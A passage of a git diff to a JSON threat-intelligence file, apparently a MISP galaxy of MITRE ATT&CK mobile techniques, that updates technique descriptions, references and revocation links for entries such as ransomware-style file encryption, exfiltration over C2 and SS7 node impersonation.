`TelephonyManager.getAllCellInfo()` method. Both methods require the application hold the `ACCESS_FINE_LOCATION` permission.", "meta": { "external_id": "T1421", "kill_chain": [ @@ -5462,8 +5693,7 @@ "Android" ], "refs": [ - "https://attack.mitre.org/techniques/T1421", - "https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en" + "https://attack.mitre.org/techniques/T1421" ] }, "uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", @@ -5733,7 +5963,7 @@ "value": "Elevated Execution with Prompt - T1514" }, { - "description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.", + "description": "An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.", "meta": { "external_id": "APP-28", "kill_chain": [ @@ -5825,7 +6055,7 @@ "value": "Cloud Storage Object Discovery - T1619" }, { - "description": "On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager)\n\nOn iOS, gathering network configuration information is not possible without root access.", + "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of operating systems they access or through information discovery of remote systems. \n\n \n\nOn Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) Previously, the Android `TelephonyManager` class could be used to gather telephony-related device identifiers, information such as the IMSI, IMEI, and phone number. However, starting with Android 10, only preloaded, carrier, the default SMS, or device and profile owner applications can access the telephony-related device identifiers.(Citation: TelephonyManager) \n\n \n\nOn iOS, gathering network configuration information is not possible without root access. \n\n \n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1422) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", "meta": { "external_id": "T1422", "kill_chain": [ @@ -5900,6 +6130,25 @@ "uuid": "e754fa49-2db1-416b-92db-7f886decd099", "value": "Generate analyst intelligence requirements - T1234" }, + { + "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic [Unix Shell](https://attack.mitre.org/techniques/T1623/001) that can be accessed via the Android Debug Bridge (ADB) or Java’s `Runtime` package.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0027) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. ", + "meta": { + "external_id": "T1623", + "kill_chain": [ + "mitre-mobile-attack:execution" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1623", + "https://partner.samsungknox.com/mtd" + ] + }, + "uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", + "value": "Command and Scripting Interpreter - T1623" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263).\n\nSecurity defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)", "meta": { @@ -5942,6 +6191,45 @@ "uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925", "value": "Analyze application security posture - T1293" }, + { + "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", + "meta": { + "external_id": "APP-29", + "kill_chain": [ + "mitre-mobile-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1646", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" + ] + }, + "uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "value": "Exfiltration Over C2 Channel - T1646" + }, + { + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode, preventing the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode; they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)", + "meta": { + "external_id": "T1642", + "kill_chain": [ + "mitre-mobile-attack:impact" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/", + "https://attack.mitre.org/techniques/T1642", + "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)" + ] + }, + "uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "value": "Endpoint Denial of Service - T1642" + }, { "description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS", "meta": { @@ -5991,6 +6279,15 @@ "https://attack.mitre.org/techniques/T1472" ] }, + "related": [ + { + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "value": "Generate Fraudulent Advertising Revenue - T1472" }, @@ -6008,6 +6305,25 @@ "uuid": "7dae871c-effc-444b-9962-4b7efefe7d40", "value": "Identify sensitive personnel information - T1274" }, + { + "description": "Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. \n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1423) or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nDepending on the permissions level of the vulnerable remote service, an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1404) as a result of lateral movement exploitation as well. ", + "meta": { + "external_id": "APP-32", + "kill_chain": [ + "mitre-mobile-attack:lateral-movement" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1428", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" + ] + }, + "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", + "value": "Exploitation of Remote Services - T1428" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256).\n\nAn adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)", "meta": { @@ -6077,6 +6393,24 @@ "uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "value": "Gather Victim Host Information - T1592" }, + { + "description": "Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ", + "meta": { + "external_id": "APP-22", + "kill_chain": [ + "mitre-mobile-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1626", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" + ] + }, + "uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", + "value": "Abuse Elevation Control Mechanism - T1626" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269).\n\nThe attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)", "meta": { @@ -6092,9 +6426,9 @@ "value": "Identify people of interest - T1269" }, { - "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system.\n\nLocal system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.", + "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration. \n\n \n\nAccess to local system data, which includes information stored by the operating system, often requires escalated privileges. Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos. On Android, adversaries may also attempt to access files from external storage which may require additional storage-related permissions. \n\n ", "meta": { - "external_id": "T1533", + "external_id": "STA-41", "kill_chain": [ "mitre-mobile-attack:collection" ], @@ -6103,7 +6437,8 @@ "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1533" + "https://attack.mitre.org/techniques/T1533", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html" ] }, "uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", @@ -6124,25 +6459,41 @@ "value": "Post compromise tool development - T1353" }, { - "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)", + "description": "Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "meta": { - "external_id": "APP-29", + "external_id": "AUT-11", "kill_chain": [ - "mitre-mobile-attack:command-and-control", - "mitre-mobile-attack:exfiltration" + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1634", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" + ] + }, + "uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", + "value": "Credentials from Password Store - T1634" + }, + { + "description": "Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well.\n\nIf done via SMS messages, Android apps must hold the `SEND_SMS` permission. Additionally, sending an SMS message requires user consent if the recipient is a premium number. Applications cannot send SMS messages on iOS", + "meta": { + "external_id": "APP-16", + "kill_chain": [ + "mitre-mobile-attack:impact" ], "mitre_platforms": [ "Android", "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1437", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", - "https://securelist.com/mobile-malware-evolution-2013/58335/" + "https://attack.mitre.org/techniques/T1643", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html" ] }, - "uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "value": "Standard Application Layer Protocol - T1437" + "uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "value": "Generate Traffic from Victim - T1643" }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349).\n\nAn exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)", @@ -6174,6 +6525,29 @@ "uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f", "value": "Create infected removable media - T1355" }, + { + "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue. \n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework used to issue tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry through OAuth 2.0 using a variety of authorization protocols. An example of a commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested without requiring user credentials.", + "meta": { + "external_id": "T1635", + "kill_chain": [ + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1635", + "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", + "https://developer.android.com/training/app-links/index.html", + "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols", + "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow", + "https://tools.ietf.org/html/rfc8252" + ] + }, + "uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", + "value": "Steal Application Access Token - T1635" + }, { "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", "meta": { @@ -6247,6 +6621,25 @@ "uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1", "value": "Targeted social media phishing - T1366" }, + { + "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may opt to also encrypt and/or obfuscate these alternate channels. ", + "meta": { + "external_id": "APP-30", + "kill_chain": [ + "mitre-mobile-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1639", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" + ] + }, + "uuid": "3e091a89-a493-4a6c-8e88-d57be19bb98d", + "value": "Exfiltration Over Alternative Protocol - T1639" + }, { "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)", "meta": { @@ -6291,6 +6684,51 @@ "uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "value": "Masquerade as Legitimate Application - T1444" }, + { + "description": "Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth. \n\n \n\nOn Android, applications can read push notifications to capture content from SMS messages, or other out of band data streams. This requires that the user manually grant notification access to the application via the settings menu. However, the application could launch an Intent to take the user directly there. \n\n \n\nOn iOS, there is no way to programmatically read push notifications. ", + "meta": { + "external_id": "T1644", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1644" + ] + }, + "uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "value": "Out of Band Data - T1644" + }, + { + "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices. \n\nA Network DoS will occur when an adversary is able to jam radio signals (e.g. Wi-Fi, cellular, GPS) around a device to prevent it from communicating. For example, to jam cellular signal, an adversary may use a handheld signal jammer, which jam devices within the jammer’s operational range.(Citation: NIST-SP800187) \n\nUsage of cellular jamming has been documented in several arrests reported in the news.(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)", + "meta": { + "external_id": "GPS-0", + "kill_chain": [ + "mitre-mobile-attack:impact" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf", + "https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/", + "https://attack.mitre.org/techniques/T1464", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", + "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", + "https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/", + "https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/", + "https://www.nytimes.com/2007/11/04/technology/04jammer.html" + ] + }, + "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", + "value": "Network Denial of Service - T1464" + }, { "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", "meta": { @@ -6316,6 +6754,26 @@ "uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", "value": "Compromise Client Software Binary - T1554" }, + { + "description": "Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators. \n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those binaries are executed. For example, malware may come with a pre-compiled malicious binary intended to overwrite the genuine one on the device. Since these binaries may be routinely executed by the system or user, the adversary can leverage this for persistent access to the device. ", + "meta": { + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1645", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://source.android.com/security/verifiedboot/" + ] + }, + "uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "value": "Compromise Client Software Binary - T1645" + }, { "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "meta": { @@ -6345,6 +6803,33 @@ "uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "value": "Abuse Elevation Control Mechanism - T1548" }, + { + "description": "Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly.(Citation: Lau-Mactans) In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device.(Citation: Krebs-JuiceJacking) Examples of this include: \n \n* Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.(Citation: IBM-NexusUSB) \n* Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB.(Citation: GoogleProjectZero-OATmeal) \n* Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.(Citation: Computerworld-iPhoneCracking) ", + "meta": { + "external_id": "STA-6", + "kill_chain": [ + "mitre-mobile-attack:initial-access", + "mitre-mobile-attack:lateral-movement" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", + "https://attack.mitre.org/techniques/T1458", + "https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html", + "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", + "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", + "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-6.html", + "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/", + "https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html" + ] + }, + "uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "value": "Replication Through Removable Media - T1458" + }, { "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.", "meta": { @@ -6362,6 +6847,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html" ] }, + "related": [ + { + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "f58cd69a-e548-478b-9248-8a9af881dc34", "value": "Downgrade to Insecure Protocols - T1466" }, @@ -6382,6 +6876,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html" ] }, + "related": [ + { + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed", "value": "Rogue Cellular Base Station - T1467" }, @@ -7030,6 +7533,34 @@ "uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "value": "SMB/Windows Admin Shares - T1021.002" }, + { + "description": "An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)", + "meta": { + "external_id": "EMM-5", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", + "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions", + "https://attack.mitre.org/techniques/T1630/003", + "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf", + "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html" + ] + }, + "related": [ + { + "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", + "type": "subtechnique-of" + } + ], + "uuid": "a91262d5-b9ff-463f-b8d2-12e4ea1eb3c9", + "value": "Disguise Root/Jailbreak Indicators - T1630.003" + }, { "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)", "meta": { @@ -7458,6 +7989,30 @@ "uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "value": "File Transfer Protocols - T1071.002" }, + { + "description": "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: \n \n* Abusing device owner permissions to perform silent uninstallation using device owner API calls. \n* Abusing root permissions to delete files from the filesystem. \n* Abusing the accessibility service. This requires sending an intent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.", + "meta": { + "external_id": "APP-43", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1630/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" + ] + }, + "related": [ + { + "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", + "type": "subtechnique-of" + } + ], + "uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "value": "Uninstall Malicious Application - T1630.001" + }, { "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.", "meta": { @@ -7662,6 +8217,37 @@ "uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "value": "Additional Cloud Credentials - T1098.001" }, + { + "description": "Adversaries may exploit the lack of authentication in signaling system network nodes to track the to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport) \n\n \n\nBy providing the victim’s MSISDN (phone number) and impersonating network internal nodes to query subscriber information from other nodes, adversaries may use data collected from each hop to eventually determine the device’s geographical cell area or nearest cell tower.(Citation: Engel-SS7)", + "meta": { + "external_id": "CEL-38", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf", + "https://attack.mitre.org/techniques/T1430/002", + "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html", + "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf", + "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", + "https://www.youtube.com/watch?v=q0n5ySqbfdI" + ] + }, + "related": [ + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "type": "subtechnique-of" + } + ], + "uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", + "value": "Impersonate SS7 Nodes - T1430.002" + }, { "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", "meta": { @@ -8654,6 +9240,34 @@ "uuid": "7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "value": "Email Forwarding Rule - 